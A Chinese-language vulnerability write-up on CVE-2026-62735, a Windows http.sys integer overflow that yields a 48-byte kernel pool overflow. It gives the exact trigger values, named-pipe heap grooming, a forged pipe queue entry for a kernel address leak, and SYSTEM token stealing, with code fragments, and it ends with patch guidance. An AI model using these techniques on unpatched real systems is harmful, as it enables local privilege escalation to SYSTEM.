CVE-2026-62735漏洞POC已公开

本地一个低权限程序,构造一次特制的 HTTP 响应,Windows 内核就把响应头的总长度算错了。四个数加起来正好 4 GB,32 位变量装不下,存进去就是 0。http.sys 按 0 开缓冲区,末尾多写出去 48 字节。
48 字节,不多。公开的验证代码在 Windows 11 25H2 上已经稳定拿到 SYSTEM。微软 8 月 11 日的月度更新修掉了。
一、漏洞概况
二、成因,一次加法把 4 GB 加成了 0
http.sys 发一个响应,得先在内核里开块地方把响应头排进去。开多大要先算,算的是这些头加起来一共多少字节。算和写是两步,漏洞夹在中间。
多值响应头是 HTTP Server API 明面上的功能,一个响应能挂若干组,每组上限 9999 条,每条的值最长 65535 字节。http.sys 拿 32 位变量累加这些长度,二十多组堆下来就过了 4 GB。装不下,多出来的直接丢,绕回一个很小的数。
加总这一步在 UlpCreateInternalResponseOld,四项加到一起。
TotalHeaderBytes = MultipleHeaderBytesLocal
+ FixedHeaderBytes
+ H3ExtraHeaderBytes
+ VariableHeaderBytes;
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0验证代码把第一项凑到 0xffffff32,另外三项合起来 0xce。加起来正好 0x100000000,32 位存不下,最高位一丢,就剩 0。
拿到 0,http.sys 就按 0 开内存。分配大小有固定公式,验证代码反推了一遍,把响应尾部的字段调到 3504 字节,缓冲区正好停在 8192。
// 把总长度打成 0
targetTotalHeaderBytes = 0;
targetMultipleHeaderBytes = (uint32_t)(0 - 0x2e - 0xa0); // = 0xffffff32
fixedAllocTerms = 2 (24 1 + 8 (5 3 + 0x38)); // = 1184
trailerBytes = (0x2000 - 1184 - 2 0) / 2; // = 3504
// 实际分配 = 1184 + 2 (0 + 3504) = 8192 字节问题出在写这一步。那几万条头是拿来凑数的,只填长度,内容指针全空。算账时它们的长度一个不少地加进去了,真到写的时候一个字节都不占。落进缓冲区的只有第一条,值长 6995,从偏移 1245 写起,收在 8240。缓冲区只有 8192。
offsetOfWriteTarget = 1230 + 14 + 1; // = 1245
firstRawLength = 0x2000 + 0x30 - 1245; // = 6995
// 1245 + 6995 = 8240 = 0x2030
// 缓冲区只有 0x2000,尾部 0x30 字节写到了块外面Windows 每个内存块的头部占 0x30 字节,正好 48。多写的部分盖住旁边那块的开头,内核随后拷数据,踩到块外地址,蓝屏。
三、从多写 48 字节到 SYSTEM
光溢出不够,得让溢出的位置可控。验证代码开了 2000 个命名管道,先给每个管道写两轮 0x1FD0 字节,再补一轮,然后从中间开始间隔读走一部分,在内核内存里戳出一排大小一样的空洞。http.sys 那块缓冲区被安排进某个空洞,紧邻位置坐着一个管道的数据块。
溢出的 48 字节是一个伪造的数据块。头两个字段是指针,被填成用户态地址,那一页提前申请好并锁在内存里,内容完全可控。最后一个字段是长度,被改大 8 个字节。
// 6995 字节的值,最后 48 字节放伪造的队列项
auto* fwd = (DATA_QUEUE_ENTRY*)(writeValue.data()
+ firstRawLength - NP_HEADER_SIZE);
fwd->Flink = fwd->Blink = USER_DATA_ENTRY_ADDR; // 指回用户态假页
fwd->DataSize = THIRD_ENTRY_SIZE + LEAK_BYTES; // 0x1FD0 + 8内核读管道数据时顺着指针一路走到那页假数据上,把它当成正常内容往外吐。多出来的 8 字节落在隔壁块里,读出来就是那里的指针,第一个内核地址到手。
剩下的顺水推舟。拿着这个地址找到管道的控制块,再用同样的手法伪造数据块,配一份从真实请求包复制出来的模板,凑出任意地址读和 8 字节任意地址写。然后遍历内核的进程链表,按 PID 找到 System 进程,把它的权限令牌读出来,写进当前进程。
uint64_t systemProcess = GetProcessById(currentProcess, 4);
uint64_t systemToken = Read64(systemProcess + OFF_TOKEN);
// 8 字节任意写,把 System 的令牌搬给当前进程
QueueWrite(NtFsControlFile, writes[0], irpData, tail,
systemProcess + OFF_TOKEN, // 源
currentProcess + OFF_TOKEN); // 目的
TriggerWrite(writes[0], a1);写完,当前进程的权限就是 System 的了,起一个 cmd.exe 拿到 SYSTEM。收尾还把改坏的地方恢复原样、取消挂起的请求,免得退出时把机器拖蓝屏。
四、受影响版本与修复
还在支持期内的 Windows 客户端和服务器版本全都在列,Server 2012 起无一幸免,Server Core 一样中招。用 winver 或 systeminfo 对一下 Build 号。
五、处置建议
打 8 月累积更新。这是唯一能根治的办法,Build 号照上面的表对。
装不上完整补丁的,优先上热补丁,不用重启。